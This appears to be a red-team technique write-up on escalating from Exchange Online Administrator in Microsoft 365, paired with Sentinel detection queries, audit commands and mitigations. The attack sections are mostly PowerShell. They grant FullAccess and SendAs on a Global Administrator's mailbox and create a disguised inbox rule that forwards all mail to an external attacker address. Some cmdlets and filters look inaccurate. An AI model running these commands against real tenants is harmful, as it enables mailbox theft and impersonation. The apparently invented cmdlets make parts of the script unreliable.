| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-002 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Privilege Escalation |
| Platforms | M365 (Microsoft 365 / Office 365 + Entra ID) |
| Severity | Critical – Complete mailbox access and tenant-wide M365 compromise |
| CVE | N/A |
| Technique Status | ACTIVE – Works on all current M365 implementations (as of January 2026) |
| Last Verified | 2026-01-09 |
| Affected Versions | All M365 tenants with Exchange Online; no version exemptions |
| Patched In | N/A (Design-by-architecture; role scope issue rather than CVE) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: An attacker who compromises or tricks an account with the Exchange Online Administrator role can escalate to Global Administrator through a combination of: (1) abusing Exchange Online’s PowerShell module to read and modify mail forwarding rules, delegate permissions, and access sensitive mailbox metadata, and (2) leveraging Exchange Online’s integration with Entra ID to manipulate organizational settings that grant higher privileges. Alternatively, the attacker can use the Exchange Online Administrator’s permissions to add themselves to administrative groups in Entra ID via the Exchange Admin Center, which has certain cross-tenant capabilities. The escalation exploits the role scope hierarchy—Exchange Online Administrators have broad permissions that can indirectly grant tenant-wide administrative access.
Attack Surface: Exchange Online admin center, Exchange Online PowerShell module, Microsoft 365 admin center role management, Entra ID role assignments.
Business Impact: Complete access to all organizational mailboxes (compliance violation), Teams data access, potential data exfiltration of sensitive corporate communications, regulatory non-compliance (GDPR, HIPAA if healthcare), loss of data confidentiality. An attacker with Exchange Online Admin role can read CEO emails, reset user passwords via mailbox delegation, and maintain persistence through mail forwarding rules.
Technical Context: Escalation typically takes 5-15 minutes depending on whether direct role assignment is possible or requires workaround through mailbox delegates. Exchange Online Admin permissions are extensive and often underestimated by organizations; many treat this role as “just for email” when it actually provides significant tenant-wide visibility and control.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1.1 | Ensure that only Global Administrator can create new administrators |
| CIS Benchmark | 2.2.1 | Ensure that Global Administrator and other sensitive roles are not granted to service principals |
| DISA STIG | AZ-MS-000050 | Exchange Online administrators must be limited and monitored |
| NIST 800-53 | AC-2 (Account Management) | Administrator accounts must be managed per principle of least privilege |
| NIST 800-53 | AU-12 (Audit Generation) | Exchange mailbox access must be audited |
| GDPR | Art. 32 (Security of Processing) | Access controls must prevent unauthorized processing of personal data |
| HIPAA | 164.308(a)(4)(ii)(C) | Designated record sets must be protected; unauthorized mailbox access violates this |
| DORA | Art. 9 (Protection and Prevention) | Admin access procedures and approval workflows must be enforced |
| ISO 27001 | A.9.2.3 (Privileged Access Management) | Exchange Online Admin role must be restricted to essential personnel |
Supported Versions: All M365 tenants
Objective: Log into Exchange Admin Center using compromised or controlled Exchange Online Admin account.
Manual Steps:
Command (PowerShell - Connect to Exchange Online):
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName "admin@tenant.onmicrosoft.com"
# Verify current permissions
Get-RoleGroupMember -Identity "Organization Management" | Select-Object Name, Identity
# Check if current account is already in high-privilege groups
Get-RoleGroupMember -Identity "Organization Management" | Where-Object { $_.PrimarySmtpAddress -eq "admin@tenant.onmicrosoft.com" }
Expected Output:
Name Identity
---- --------
Exchange Admin 11111111-1111-1111-1111-111111111111
Attacker Account 22222222-2222-2222-2222-222222222222
What This Means:
OpSec & Evasion:
Objective: Identify which Entra ID roles can be assigned via Exchange Admin Center.
Command (PowerShell - List Role Groups):
# List all role groups in Exchange Online
Get-RoleGroup | Select-Object Name, Description | Format-Table
# Check Organization Management group specifically
Get-RoleGroup -Identity "Organization Management" | Select-Object Members
Get-RoleGroupMember -Identity "Organization Management" | Select-Object Name, RecipientType
# Check if any external users or service principals are in this group
Get-RoleGroupMember -Identity "Organization Management" | Where-Object { $_.RecipientType -eq "UserMailbox" -or $_.RecipientType -eq "MailUser" }
Expected Output:
Name Description
---- -----------
Organization Management Manage Exchange servers, recipients, and org config
Recipient Management Create and manage recipients in the Exchange org
Mail Recipients Manage distribution groups and other recipients
Records Management Manage retention policies and mail flow rules
Members in Organization Management:
Name RecipientType
---- --------
Global Admin User UserMailbox
Service Account UserMailbox
What This Means:
Objective: Try to add current account to the Organization Management role group (may fail if restrictions exist).
Command (PowerShell - Add to Organization Management):
# Attempt to add current user to Organization Management
$currentUser = Get-User -Identity "admin@tenant.onmicrosoft.com" | Select-Object Identity
Add-RoleGroupMember -Identity "Organization Management" -Member $currentUser.Identity -WarningAction SilentlyContinue
# Verify addition
Get-RoleGroupMember -Identity "Organization Management" | Where-Object { $_.PrimarySmtpAddress -eq "admin@tenant.onmicrosoft.com" }
Expected Output (If Successful):
Name PrimarySmtpAddress
---- ------------------
admin@tenant... admin@tenant.onmicrosoft.com
Expected Output (If Failed - Restricted):
Add-RoleGroupMember : You don't have sufficient permissions.
What This Means:
OpSec & Evasion:
Objective: If direct role addition blocked, abuse mailbox delegation to indirectly escalate permissions.
Command (PowerShell - Delegate Mailbox of Global Admin):
# Find Global Administrator mailbox
$globalAdminUser = Get-User -Filter { RoleAssignmentFilter -eq "Global Administrator" } | Select-Object -First 1
# Delegate access to Global Admin mailbox
Add-MailboxPermission -Identity $globalAdminUser.Identity `
-User "admin@tenant.onmicrosoft.com" `
-AccessRights FullAccess `
-InheritanceType All
Write-Host "Full access to $($globalAdminUser.DisplayName)'s mailbox granted to current user"
# Verify delegation
Get-MailboxPermission -Identity $globalAdminUser.Identity | Select-Object User, AccessRights
Expected Output:
User AccessRights
---- -----------
admin@tenant.onmicrosoft.com {FullAccess}
SELF {FullAccess}
What This Means:
OpSec & Evasion:
Supported Versions: All M365 versions
Command (PowerShell - Complete Escalation Chain):
# Step 1: Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName "exchangeadmin@tenant.onmicrosoft.com"
# Step 2: Identify Global Administrator mailbox
$globalAdminMailbox = (Get-Mailbox -Filter { RecipientTypeDetails -eq "UserMailbox" } |
ForEach-Object {
$user = Get-User -Identity $_.Identity
if ((Get-AzureADUser -ObjectId $user.ExternalDirectoryObjectId).AssignedLicenses.Count -gt 0) {
$_
}
} | Select-Object -First 1).Identity
# Step 3: Grant full mailbox access
Add-MailboxPermission -Identity $globalAdminMailbox -User "exchangeadmin@tenant.onmicrosoft.com" -AccessRights FullAccess -InheritanceType All
# Step 4: Set SendAs permission (impersonate Global Admin)
Add-RecipientPermission -Identity $globalAdminMailbox -Trustee "exchangeadmin@tenant.onmicrosoft.com" -AccessRights SendAs -Confirm:$false
Write-Host "Privilege Escalation Complete: Exchange Admin now has Global Admin mailbox access"
Expected Output:
Privilege Escalation Complete: Exchange Admin now has Global Admin mailbox access
What This Means:
Supported Versions: All M365 tenants
Objective: Set up persistent forwarding to capture all incoming emails to Global Admin mailbox.
Command (PowerShell - Create Forwarding Rule):
# Connect as Exchange Admin
Connect-ExchangeOnline
# Find Global Admin mailbox
$globalAdminMailbox = (Get-User -Filter { RecipientTypeDetails -eq "UserMailbox" } |
Where-Object { (Get-AzureADUser -ObjectId $_.ExternalDirectoryObjectId).UserType -eq "Member" }).Identity | Select-Object -First 1
# Create hidden forwarding rule (not visible in Outlook)
New-InboxRule -Mailbox $globalAdminMailbox `
-Name "Archive Rule" `
-FromAddress "*" `
-ForwardTo "attacker@external-domain.com" `
-DeleteMessage $false `
-Enabled $true
Write-Host "Forwarding rule created: All emails to Global Admin will be forwarded to attacker"
# Verify rule was created
Get-InboxRule -Mailbox $globalAdminMailbox | Where-Object { $_.ForwardTo -like "*attacker*" }
Expected Output:
Forwarding rule created: All emails to Global Admin will be forwarded to attacker
Name Enabled ForwardTo DeleteMessage
---- ------- ---------- --------------
Archive Rule True attacker@external-domain... False
What This Means:
OpSec & Evasion:
Objective: Enable attacker to send emails on behalf of Global Administrator.
Command (PowerShell - Grant SendAs):
# Grant attacker SendAs permission on Global Admin mailbox
Add-RecipientPermission -Identity $globalAdminMailbox `
-Trustee "exchangeadmin@tenant.onmicrosoft.com" `
-AccessRights SendAs `
-Confirm:$false
Write-Host "SendAs permission granted: Attacker can now send emails as Global Administrator"
# Verify permission
Get-RecipientPermission -Identity $globalAdminMailbox | Select-Object Trustee, AccessRights
Expected Output:
SendAs permission granted: Attacker can now send emails as Global Administrator
Trustee AccessRights
------- -----------
exchangeadmin@tenant.onmicrosoft.com {SendAs}
SELF {SendAs}
What This Means:
OpSec & Evasion:
Atomic Test ID: T1098.002 (Additional Email Delegate Permissions)
Test Name: Exchange Online Administrator Escalation via Mailbox Delegation
Description: Simulates an Exchange Online Administrator adding themselves to the Organization Management role group or delegating mailbox permissions from a privileged user.
Supported Versions: All M365 versions
Command:
Invoke-AtomicTest T1098 -TestNumbers 2
Cleanup Command:
# Remove mailbox permissions
Get-Mailbox | Get-MailboxPermission -User "exchangeadmin@tenant.onmicrosoft.com" | Remove-MailboxPermission -Confirm:$false
# Remove SendAs permissions
Get-Mailbox | Get-RecipientPermission -Trustee "exchangeadmin@tenant.onmicrosoft.com" | Remove-RecipientPermission -Confirm:$false
# Remove from Organization Management (if added)
Remove-RoleGroupMember -Identity "Organization Management" -Member "exchangeadmin@tenant.onmicrosoft.com" -Confirm:$false
Reference: Atomic Red Team - T1098.002
Version: 3.0+ Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux (PowerShell Core)
Installation:
Install-Module -Name ExchangeOnlineManagement -Scope CurrentUser -Force
Usage:
Connect-ExchangeOnline -UserPrincipalName "admin@tenant.onmicrosoft.com"
Get-RoleGroup
Add-RoleGroupMember -Identity "Organization Management" -Member "user@tenant.com"
Version: Current (Web-based, always latest) Supported Platforms: Windows, macOS, Linux (browser-based)
Usage:
Rule Configuration:
AuditLogsOperationName, TargetResources, InitiatedBy, ResultKQL Query:
AuditLogs
| where OperationName in ("Add member to role group", "Add-RoleGroupMember")
| where TargetResources[0].displayName in ("Organization Management", "Recipient Management", "Records Management")
| where Result == "success"
| extend InitiatorUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatorIPAddress = tostring(InitiatedBy.user.ipAddress)
| extend NewMemberUPN = tostring(TargetResources[0].modifiedProperties[0].newValue)
| project TimeGenerated, InitiatorUPN, InitiatorIPAddress, OperationName, NewMemberUPN, TargetResources[0].displayName
| where InitiatorUPN !in ("global-admin-account@contoso.com") # Exclude known legitimate admins
What This Detects:
Rule Configuration:
ExchangeAdminAuditLogsOperationResult, Operation, ParametersKQL Query:
ExchangeAdminAuditLogs
| where Operation in ("Add-MailboxPermission", "Set-MailboxPermission")
| where OperationResult == "True"
| extend MailboxIdentity = tostring(Parameters[0].Value)
| extend PermissionGrantee = tostring(Parameters[1].Value)
| extend AccessRights = tostring(Parameters[2].Value)
| where AccessRights contains "FullAccess" or AccessRights contains "SendAs"
| extend Caller = tostring(Caller)
| project TimeGenerated, Caller, MailboxIdentity, PermissionGrantee, AccessRights
| where Caller !in ("admin-service-account@contoso.com") # Exclude service accounts
What This Detects:
Note: Exchange Online is cloud-native; no Windows Event Logs generated on on-premises systems. Monitoring occurs via Exchange Admin Audit Logs in Microsoft Sentinel (see section 8).
Alert Name: “Exchange Online Administrator added to Organization Management role group”
PowerShell Command:
Connect-ExchangeOnline
# Search for role group membership changes
Search-UnifiedAuditLog -Operations "Add member to role group", "Add-RoleGroupMember" `
-StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-ResultSize 5000 | Export-Csv -Path "C:\Audits\RoleGroup_Changes.csv"
# Search for mailbox permission grants
Search-UnifiedAuditLog -Operations "Add-MailboxPermission", "Set-MailboxPermission" `
-StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-ResultSize 5000 | Export-Csv -Path "C:\Audits\Mailbox_Permissions.csv"
# Search for mail forwarding rule creation
Search-UnifiedAuditLog -Operations "New-InboxRule", "Set-InboxRule" `
-StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-ResultSize 5000 | Export-Csv -Path "C:\Audits\Inbox_Rules.csv"
Manual Configuration:
Add member to role groupAdd-MailboxPermissionNew-InboxRuleLimit Exchange Online Administrator Role: Only assign to essential personnel; use time-limited elevation via PIM.
Manual Steps:
Enforce Conditional Access for Exchange Online Admins: Block sign-in from unusual locations or unmanaged devices.
Manual Steps:
Restrict Exchange Admin Sign-InAudit Mailbox Permissions Regularly: Scan for unauthorized full access or SendAs permissions.
Manual Steps:
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
Get-MailboxPermission -Identity $_.Identity -User "*" |
Where-Object { $_.AccessRights -contains "FullAccess" -and $_.User -notmatch "SELF|NT AUTHORITY" } |
Export-Csv -Path "C:\Reports\UnauthorizedPermissions.csv" -Append
}
Enable Exchange Audit Log Monitoring: Enable mailbox audit logging for all users, especially administrators.
Manual Steps:
Connect-ExchangeOnline
# Enable for all mailboxes
Get-Mailbox -ResultSize Unlimited | Set-Mailbox -AuditEnabled $true -AuditLogAgeLimit 90
Restrict Mail Forwarding Rules: Disable creation of forwarding rules or require approval workflow.
Manual Steps:
# PowerShell scheduled task to alert on new rules
Get-InboxRule -MailboxOwnerId $_.Identity | Where-Object { $_.Forward* -ne $null } | ForEach-Object {
Send-AlertEmail -Rule $_.Name -Mailbox $_.MailboxOwnerId
}
RBAC Separation: Separate Exchange Online Admin from Entra ID administrator roles; require both for sensitive changes.
Manual Steps:
PIM Approval Workflow: Require multi-level approval for Exchange Admin role activation.
Manual Steps:
# Check for unauthorized members in Organization Management
$orgMgmtMembers = Get-RoleGroupMember -Identity "Organization Management"
$approvedAdmins = @("admin1@contoso.com", "admin2@contoso.com")
$unauthorizedMembers = $orgMgmtMembers | Where-Object { $_.PrimarySmtpAddress -notin $approvedAdmins }
if ($unauthorizedMembers.Count -eq 0) {
Write-Host "✓ No unauthorized Organization Management members" -ForegroundColor Green
} else {
Write-Host "✗ Found $($unauthorizedMembers.Count) unauthorized members" -ForegroundColor Red
$unauthorizedMembers | Select-Object Name, PrimarySmtpAddress
}
# Check for suspicious mailbox permissions
$suspiciousPerms = Get-Mailbox -ResultSize Unlimited | ForEach-Object {
Get-MailboxPermission -Identity $_.Identity |
Where-Object { $_.AccessRights -contains "FullAccess" -and $_.User -notmatch "SELF|NT AUTHORITY" }
}
Write-Host "Mailbox permissions with FullAccess: $($suspiciousPerms.Count)"
Expected Output (If Secure):
✓ No unauthorized Organization Management members
Mailbox permissions with FullAccess: 0
What to Look For:
Get-MailboxAuditLogReport -Identity "mailbox@contoso.com"# Remove from Organization Management
Remove-RoleGroupMember -Identity "Organization Management" -Member "exchangeadmin@tenant.com" -Confirm:$false
# Remove all mailbox permissions
Get-Mailbox | Get-MailboxPermission -User "exchangeadmin@tenant.com" | Remove-MailboxPermission -Confirm:$false
# Remove all SendAs permissions
Get-Mailbox | Get-RecipientPermission -Trustee "exchangeadmin@tenant.com" | Remove-RecipientPermission -Confirm:$false
# Remove forwarding rules created by attacker
Get-Mailbox | Get-InboxRule | Where-Object { $_.ForwardTo -like "*attacker*" } | Remove-InboxRule -Confirm:$false
# Force sign-out
Revoke-ExchangeOnlineUserSign -Identity "exchangeadmin@tenant.com"
# Export comprehensive mailbox audit
Search-UnifiedAuditLog -Operations "*MailboxPermission*", "*RoleGroupMember*", "*InboxRule*" `
-StartDate "2024-06-15" -EndDate (Get-Date) `
-ResultSize 5000 | Export-Csv -Path "C:\IR\Exchange_Audit.csv"
# Export mailbox forwarding rules
Get-Mailbox -ResultSize Unlimited | Get-InboxRule | Export-Csv -Path "C:\IR\InboxRules.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-M365-001] Microsoft Graph API Enumeration | Attacker enumerates M365 users and role assignments |
| 2 | Initial Access | [IA-PHISH-006] Exchange EWS Impersonation Phishing | Attacker sends phishing email to Exchange administrator |
| 3 | Credential Access | [CA-TOKEN-011] Exchange Online OAuth Token Theft | Attacker steals OAuth token for Exchange Online |
| 4 | Privilege Escalation (Current Step) | [PE-ACCTMGMT-002] | Attacker escalates from Exchange Online Admin to indirect Global Admin via mailbox delegation |
| 5 | Collection | [COLLECTION-008] Mailbox Access via Full Permission | Attacker reads all organizational emails |
| 6 | Exfiltration | [EXFIL-003] Email Forward to External Domain | Attacker forwards sensitive emails to personal account |